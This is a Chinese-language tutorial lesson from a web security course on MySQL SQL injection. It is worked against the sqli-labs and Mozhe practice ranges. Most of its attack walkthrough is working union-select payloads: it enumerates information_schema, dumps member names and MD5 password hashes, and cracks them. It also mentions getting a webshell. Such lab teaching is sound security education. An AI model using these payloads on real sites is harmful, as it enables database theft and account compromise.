第12篇:WEB漏洞~SQL注入~简要SQL注入

目录

  • 前言
  • 基础知识
    • 1.1. SQL注入安全测试中的危害
    • 1.2. SQL注入产生原理详细分析
    • 1.3. 搭建第一个SQL注入学习靶场环境
    • 1.4. 如何判断注入点
    • 1.5. SQL注入语句(老式)
    • 1.6. MySql数据库结构
  • 案例演示
    • 2.1. 简易代码分析SQL注入原理
    • 2.2. Sqlilabs注入靶场搭建简要使用
    • 2.3. 墨者靶机真实MySql注入演示


前言

  在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
在这里插入图片描述
学习顺序:从右往左、从上往下


基础知识

忍者安全测试系统使用说明
禁用软盘在安装,磁盘给的大一点50G基本100G,系统序列号可以跳过
百分之八九十的工具好像都有

1.1. SQL注入安全测试中的危害

大部分SQL注入是对数据库内的数据进行操作,绕过查询更新删除。SQL注入能操作数据,涉及数据的操作的目的
可以执行后门写入,getwebshell,获取权限(满足权限需要)

1.2. SQL注入产生原理详细分析

前提条件:可控变量,带入数据库查询,变量未存在过滤或过滤不严重

  • 可控变量:指变量是可以被控制,而不是由代码已经定义死不能与外界交互
  • 语句不带入数据库执行,也不能达成注入目的
  • 查一查变量是否合法,就能直接打断注入的可能性

1.3. 搭建第一个SQL注入学习靶场环境

使用 Audi-1/sqli-labs 靶场,phpstudy搭建环境

常使用的数据库命令:

  • show databases;
  • use 数据库;
  • show tables;
  • select * from 表;
  • mysql.exe -uroot -proot,从本机命令行切换回数据库命令行

(早不讲就开始用,我都知道了才讲)

首先添加显示语句便于查看数据库命令
第12篇:WEB漏洞~SQL注入~简要SQL注入_第1张图片

1.4. 如何判断注入点

牢房法:
and 1=1 页面正常+ and 1=2 页面错误= 可能存在注入点
总之可控变量是可能有了

或者可以在参数后边输入离谱的数据

均是测试修改参数是否被可以带入数据库执行。如果直接跳转主页或者404则是由检测,无法注入(过于老套)

1.5. SQL注入语句(老式)

使用:and 1=1 和 and 1=2,测试注入点
原理:数据库命令存在逻辑运算符,即为: 或or、且and、非xor

两个有关注入的例题:(根据上篇的靶场数据库注入经历来看)

1.可能存在注入的编号选项有那几个:

  • www.xiaodi8.com/index.php?id=8
  • www.xiaodi8.com/?id=10
  • www.xiaodi8.com/?id=10&x=1
  • www.xiaodi8.com/index.php

前三个存在目前的sql注入,因为存在变量就可以测试变量是否可控等(不从域名上传递参数,也存在从post数据包传递参数的方法)

2.参数x有注入,以下那个注入测试正确

  • www.xiaodi8.com/news.php?y=1 and 1=1&x=2
  • www.xiaodi8.com/news.php?y=1&x=2 and 1=1
  • www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1
  • www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1

注入哪个参数,就在那个参数后边添加数据,因此是2和3(域名:参数&参数,可随意换位置)

1.6. MySql数据库结构

  • 数据库A – 网站A–数据库用户A
    • 表名
      • 列名
        • 数据
  • 数据库B – 网站B–数据库用户B
    • ……
  • 数据库C – 网站C–数据库用户C
    • ……

第12篇:WEB漏洞~SQL注入~简要SQL注入_第2张图片

数据库用户:用户管理数据库,智能管理数据库
低版本可以爆破(随缘)

数据库用户权限高的话可以进行高操作
文件读写,需要数据库目录、用户权限等(可以通过注入获取信息),俗称get shell


案例演示

SQL语句——查询

2.1. 简易代码分析SQL注入原理

数据库注入流程

  1. 拼接数据
  2. 执行语句
  3. 结果展示

  原理在于拼接恶意sql语句达到恶意的执行效果、自定义语句查询自定义的文件,sql语句被更改会执行出不该有的结果,但是当程序员处理得当时没有注入点

  1. 输入id=1时:http://127.0.0.1/sqli-labs/Less-2/?id=1,访问正常
    第12篇:WEB漏洞~SQL注入~简要SQL注入_第3张图片
  2. 修改为id=-1时:http://127.0.0.1/sqli-labs/Less-2/?id=-1,返回空,没有id为-1
    第12篇:WEB漏洞~SQL注入~简要SQL注入_第4张图片
  3. 拼接字符串:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,email_id,3 from emails,返回emails表中信息
    在这里插入图片描述

2.2. Sqlilabs注入靶场搭建简要使用

  1. 下载网站源码放到根目录下
  2. 修改配置文件中数据库账密部分
  3. 网页访问http://127.0.0.1/sqli-labs/
  4. 网页上点击数据库初始化建立
  5. 终得默认数据库名为:security的数据库

2.3. 墨者靶机真实MySql注入演示

使用 墨者学院-SQL手工注入漏洞测试(MySQL数据库) 在线靶场

  1. 首先根据页面上的跳转页找到提供参数的跳转页
  2. 猜解列名数量:order by 数字 :当“id=1 order by 4”为极限不报错的数据,id查询的数据表有四列
  3. 报错猜解准备:
    使原查询为空,查询1,2,3,4:id=-1%20union select 1,2,3,4,主要是看哪个位置的数字能显示第12篇:WEB漏洞~SQL注入~简要SQL注入_第5张图片4. 信息收集

信息收集的函数替换掉数字的位置,返回信息

  • 数据库版本:version();         5.7.22-0ubuntu0.16.04.1
  • 数据库名称:database();       mozhe_Discuz_StormGroup
  • 数据库用户:user();         root@localhost
  • 操作系统:@@version_compile_os;     Linux

查询库版本和名称:“id=-1 union select 1,version(),database(),4”
查询库用户和操作系统:“id=-1%20union select 1,user(),@@version_compile_os,4”
第12篇:WEB漏洞~SQL注入~简要SQL注入_第6张图片
第12篇:WEB漏洞~SQL注入~简要SQL注入_第7张图片
哪里显示数字,就修改那个数字为函数

  1. 在MySQL5.0以上版本中,MySQL存在一个自带数据库名为 information_achema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。数据库中符号“.”(点)代表下一级,如 “xaiodi.user” 表示xiaodi数据库下的user表名。
  • information_schema.tables:记录所有表名信息的表
  • information_schema.columns:记录所有列名信息的表
  • tables、columns表中的列名
    • table_name:表名
    • column_name:列名
    • table_schema:数据库名
  1. 查询指定数据库名mozhe_Discuz_StormGroup下的表名信息
    select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
    换句话说:在information_achema数据库下的tables表中查询table_schema列中的值为mozhe_Discuz_StormGroup的每行数据所对应的table_name值。(个人理解思路)
    第12篇:WEB漏洞~SQL注入~简要SQL注入_第8张图片

  2. 查询指定表名下得列名信息
    select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
    换句话说:查询from information_schema.columns表中,table_name列中值为StormGroup_member所在行对应的每条column_name值。
    第12篇:WEB漏洞~SQL注入~简要SQL注入_第9张图片

  3. 查询指定数据(知道表明和列名,直接查询数据)
    select 1,group_concat(name),group_concat(password),4 from StormGroup_member第12篇:WEB漏洞~SQL注入~简要SQL注入_第10张图片

  4. 在线md5解密即得登陆用账密,直接就能解密不需要salt
    第12篇:WEB漏洞~SQL注入~简要SQL注入_第11张图片

猜解多个数据可以采用“limit,x,1”变动猜解,x为变量值


你可能感兴趣的:(小迪安全,sql,数据库,mysql)